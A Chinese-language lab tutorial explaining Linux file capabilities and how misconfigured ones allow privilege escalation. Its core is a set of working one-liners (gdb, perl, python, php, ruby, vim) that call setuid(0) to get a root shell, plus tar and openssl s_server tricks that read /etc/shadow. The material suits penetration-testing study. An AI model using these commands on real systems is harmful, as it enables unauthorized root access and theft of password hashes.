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Linux系统利用可执行文件的Capabilities实现权限提升
2020-09-28 20:05:55

一、操作目的和应用场景

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

二、平台及工具版本

host系统:kali linux 2020

虚拟机管理程序:virtualbox

虚拟机:CentOS 7

三、操作步骤

(一)Linux Capabilities管理

1、 Linux系统管理Capabilities的工具

Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。

libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。

libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。

2、 Capabilities的管理方法

(1)设置Capability

举个例子,安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。

1601293723_5f71cd9b3080a7720276a.png!small

为解决此问题,可以为/usr/bin/dumpcap文件授予抓包相关的capabilities:

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

1601293773_5f71cdcd84d262dff64ed.png!small

命令执行后重新启动wireshark,就可以抓包了。

(2)查看文件的Capability

getcap /usr/bin/dumpcap  //查看文件的capabilities

1601293798_5f71cde627f0226cd31b6.png!small

(3)删除文件的capabilities

setcap -r /usr/bin/dumpcap

1601293845_5f71ce15c309e12feadd0.png!small

(二)利用Capabilities实现权限提升

现在假设管理员对一些可执行文件设置了capabilities。测试人员通过下面的命令查找这些文件:

getcap -r / 2>/dev/null

1601293875_5f71ce33e8f804026f67e.png!small

之后我们针对其中的一部分程序尝试提权。

请大家注意,从上面查找结果中可以看到,很多文件的capability被设置为cap_setuid。但是文件capabilities中的cap_setuid和文件的suid标志位之间是没有关系的:

1601293897_5f71ce490b8cc16c190dc.png!small

设置了cap_setuid的capability的文件并没有设置suid。

1601293907_5f71ce536c23445528dae.png!small

设置了suid的程序也不拥有cap_setuid的capability。

1、 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

1601293919_5f71ce5fdfc7f607c5c4a.png!small

提权成功,获取了root shell。

2、 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

1601293931_5f71ce6ba6788dbc6149f.png!small

提权成功,获取了root shell。

3、 php

php -r "posix_setuid(0); system('/bin/sh');"

1601293944_5f71ce786a1144b3805f8.png!small

在kali linux上提权成功,获取了root shell。

在CentOS 7系统中安装的低版本php无法提权:

1601293955_5f71ce833f0f0ff393c0d.png!small

4、 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

1601293975_5f71ce9727ec5afc3c161.png!small

提权成功,获取了root shell。

5、 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

1601293986_5f71cea209126de6ea847.png!small

提权成功,获取了root shell。

6、 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

1601293995_5f71ceaba9bacf6a6db38.png!small

执行后获取root shell:

1601294008_5f71ceb8b88ff36a4b247.png!small

7、 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

1601294027_5f71cecbe8eeaa28b0574.png!small

执行后获得root shell:

1601294037_5f71ced5c86e8ee1db539.png!small

8、 tar

1601294052_5f71cee408ab0c9908835.png!small

cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查。

利用此特性我们可以读取系统中的敏感信息。

tar cvf shadow.tar /etc/shadow  //创建压缩文件

tar -xvf shadow.tar  //解压缩

cd etc  //进入解压缩的目录

chmod +r shadow  //赋予读权限

cat shadow | grep root  //查看shadow文件的内容

1601294116_5f71cf24cc040a3f53304.png!small

这样就读取了/etc/shadow文件的内容,zip等程序也可以达到相同的目标,过程不再赘述。

9、 openssl

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可以看到,openssl的capability被设置为空。下面我们尝试使用openssl读取/etc/shadow文件。

//使用openssl生成证书

cd /tmp

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

//启动web服务器,监听1337端口

cd /

openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP

//访问本机的web服务,读取/etc/shadow文件

curl -k "https://127.0.0.1:1337/etc/shadow"

1601294292_5f71cfd4b665c2a5a3b05.png!small

提权成功。

四、参考网址

https://gtfobins.github.io/

https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099

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# linux # 提权 # linux安全
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